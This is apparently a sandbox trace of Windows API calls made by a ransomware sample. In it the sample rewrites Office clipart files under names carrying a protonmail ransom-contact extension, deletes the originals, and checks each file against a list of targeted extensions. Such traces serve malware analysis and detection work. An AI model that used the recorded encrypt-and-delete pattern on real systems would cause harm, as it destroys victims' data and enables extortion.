	[0094.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0094.187] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=3662) returned 1
	[0094.188] CloseHandle (hObject=0x300) returned 1
	[0094.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf")) returned 0x220
	[0094.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0094.188] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.188] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0094.189] GetLastError () returned 0x0
	[0094.189] ReadFile (in: hFile=0x300, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0xe4e, lpOverlapped=0x0) returned 1
	[0094.243] WriteFile (in: hFile=0x324, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xe50, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xe50, lpOverlapped=0x0) returned 1
	[0094.244] ReadFile (in: hFile=0x300, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.244] WriteFile (in: hFile=0x324, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0094.244] SetEndOfFile (hFile=0x324) returned 1
	[0094.244] CloseHandle (hObject=0x324) returned 1
	[0094.244] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.245] SetEndOfFile (hFile=0x300) returned 1
	[0094.245] CloseHandle (hObject=0x300) returned 1
	[0094.245] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0094.246] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf")) returned 1
	[0094.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0094.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0094.246] lstrlenW (lpString=".doc") returned 4
	[0094.246] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.246] lstrlenW (lpString=".docx") returned 5
	[0094.246] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.246] lstrlenW (lpString=".pdf") returned 4
	[0094.246] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.246] lstrlenW (lpString=".xls") returned 4
	[0094.246] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.246] lstrlenW (lpString=".xlsx") returned 5
	[0094.246] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.246] lstrlenW (lpString=".ppt") returned 4
	[0094.246] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0094.246] lstrlenW (lpString=".zip") returned 4
	[0094.246] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.246] lstrlenW (lpString=".rar") returned 4
	[0094.246] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.246] lstrlenW (lpString=".bz2") returned 4
	[0094.246] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.246] lstrlenW (lpString=".7z") returned 3
	[0094.246] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0094.246] lstrlenW (lpString=".dbf") returned 4
	[0094.246] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0094.247] lstrlenW (lpString=".1cd") returned 4
	[0094.247] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0094.247] lstrlenW (lpString=".jpg") returned 4
	[0094.247] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0094.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0094.247] lstrlenW (lpString=".doc") returned 4
	[0094.247] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.247] lstrlenW (lpString=".docx") returned 5
	[0094.247] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.247] lstrlenW (lpString=".pdf") returned 4
	[0094.247] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.247] lstrlenW (lpString=".xls") returned 4
	[0094.247] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.247] lstrlenW (lpString=".xlsx") returned 5
	[0094.247] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.247] lstrlenW (lpString=".ppt") returned 4
	[0094.247] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0094.247] lstrlenW (lpString=".zip") returned 4
	[0094.247] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.247] lstrlenW (lpString=".rar") returned 4
	[0094.247] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.247] lstrlenW (lpString=".bz2") returned 4
	[0094.247] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.247] lstrlenW (lpString=".7z") returned 3
	[0094.247] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0094.247] lstrlenW (lpString=".dbf") returned 4
	[0094.247] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0094.258] lstrlenW (lpString=".1cd") returned 4
	[0094.258] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0094.258] lstrlenW (lpString=".jpg") returned 4
	[0094.258] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.259] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0094.259] lstrlenW (lpString="HH00276_.WMF") returned 12
	[0094.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0094.266] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=3016) returned 1
	[0094.266] CloseHandle (hObject=0x358) returned 1
	[0094.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf")) returned 0x220
	[0094.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0094.267] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.267] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0094.267] GetLastError () returned 0x0
	[0094.267] ReadFile (in: hFile=0x358, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0xbc8, lpOverlapped=0x0) returned 1
	[0094.271] WriteFile (in: hFile=0x2bc, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xbd0, lpOverlapped=0x0) returned 1
	[0094.272] ReadFile (in: hFile=0x358, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.272] WriteFile (in: hFile=0x2bc, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0094.272] SetEndOfFile (hFile=0x2bc) returned 1
	[0094.273] CloseHandle (hObject=0x2bc) returned 1
	[0094.273] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.273] SetEndOfFile (hFile=0x358) returned 1
	[0094.274] CloseHandle (hObject=0x358) returned 1
	[0094.274] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0094.274] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf")) returned 1
	[0094.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0094.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0094.274] lstrlenW (lpString=".doc") returned 4
	[0094.274] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.274] lstrlenW (lpString=".docx") returned 5
	[0094.274] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.274] lstrlenW (lpString=".pdf") returned 4
	[0094.274] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.274] lstrlenW (lpString=".xls") returned 4
	[0094.274] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.274] lstrlenW (lpString=".xlsx") returned 5
	[0094.274] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.274] lstrlenW (lpString=".ppt") returned 4
	[0094.274] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0094.274] lstrlenW (lpString=".zip") returned 4
	[0094.274] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.274] lstrlenW (lpString=".rar") returned 4
	[0094.274] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.275] lstrlenW (lpString=".bz2") returned 4
	[0094.275] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.275] lstrlenW (lpString=".7z") returned 3
	[0094.275] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0094.275] lstrlenW (lpString=".dbf") returned 4
	[0094.275] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0094.275] lstrlenW (lpString=".1cd") returned 4
	[0094.275] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0094.275] lstrlenW (lpString=".jpg") returned 4
	[0094.275] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0094.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0094.275] lstrlenW (lpString=".doc") returned 4
	[0094.275] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.275] lstrlenW (lpString=".docx") returned 5
	[0094.275] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.275] lstrlenW (lpString=".pdf") returned 4
	[0094.275] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.275] lstrlenW (lpString=".xls") returned 4
	[0094.275] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.275] lstrlenW (lpString=".xlsx") returned 5
	[0094.275] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.275] lstrlenW (lpString=".ppt") returned 4
	[0094.275] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0094.275] lstrlenW (lpString=".zip") returned 4
	[0094.275] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.275] lstrlenW (lpString=".rar") returned 4
	[0094.275] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.275] lstrlenW (lpString=".bz2") returned 4
	[0094.276] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.276] lstrlenW (lpString=".7z") returned 3
	[0094.276] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0094.276] lstrlenW (lpString=".dbf") returned 4
	[0094.276] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0094.276] lstrlenW (lpString=".1cd") returned 4
	[0094.276] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0094.276] lstrlenW (lpString=".jpg") returned 4
	[0094.276] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.276] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0094.276] lstrlenW (lpString="HH00334_.WMF") returned 12
	[0094.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0094.276] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=1528) returned 1
	[0094.276] CloseHandle (hObject=0x358) returned 1
	[0094.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf")) returned 0x220
	[0094.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0094.277] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.277] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0094.277] GetLastError () returned 0x0
	[0094.277] ReadFile (in: hFile=0x358, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x5f8, lpOverlapped=0x0) returned 1
	[0094.695] WriteFile (in: hFile=0x2bc, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x600, lpOverlapped=0x0) returned 1
	[0094.696] ReadFile (in: hFile=0x358, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.696] WriteFile (in: hFile=0x2bc, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0094.697] SetEndOfFile (hFile=0x2bc) returned 1
	[0094.697] CloseHandle (hObject=0x2bc) returned 1
	[0094.697] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.697] SetEndOfFile (hFile=0x358) returned 1
	[0094.698] CloseHandle (hObject=0x358) returned 1
	[0094.698] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0094.714] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf")) returned 1
	[0094.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0094.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0094.714] lstrlenW (lpString=".doc") returned 4
	[0094.715] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.715] lstrlenW (lpString=".docx") returned 5
	[0094.715] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.715] lstrlenW (lpString=".pdf") returned 4
	[0094.715] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.715] lstrlenW (lpString=".xls") returned 4
	[0094.715] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.715] lstrlenW (lpString=".xlsx") returned 5
	[0094.715] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.715] lstrlenW (lpString=".ppt") returned 4
	[0094.715] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0094.715] lstrlenW (lpString=".zip") returned 4
	[0094.715] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.715] lstrlenW (lpString=".rar") returned 4
	[0094.715] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.715] lstrlenW (lpString=".bz2") returned 4
	[0094.715] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.715] lstrlenW (lpString=".7z") returned 3
	[0094.715] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0094.715] lstrlenW (lpString=".dbf") returned 4
	[0094.715] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0094.715] lstrlenW (lpString=".1cd") returned 4
	[0094.715] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0094.715] lstrlenW (lpString=".jpg") returned 4
	[0094.715] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0094.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0094.715] lstrlenW (lpString=".doc") returned 4
	[0094.715] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.715] lstrlenW (lpString=".docx") returned 5
	[0094.716] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.716] lstrlenW (lpString=".pdf") returned 4
	[0094.716] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.716] lstrlenW (lpString=".xls") returned 4
	[0094.716] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.716] lstrlenW (lpString=".xlsx") returned 5
	[0094.716] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.716] lstrlenW (lpString=".ppt") returned 4
	[0094.716] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0094.716] lstrlenW (lpString=".zip") returned 4
	[0094.716] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.716] lstrlenW (lpString=".rar") returned 4
	[0094.716] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.716] lstrlenW (lpString=".bz2") returned 4
	[0094.716] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.716] lstrlenW (lpString=".7z") returned 3
	[0094.716] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0094.716] lstrlenW (lpString=".dbf") returned 4
	[0094.716] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0094.716] lstrlenW (lpString=".1cd") returned 4
	[0094.716] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0094.716] lstrlenW (lpString=".jpg") returned 4
	[0094.716] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
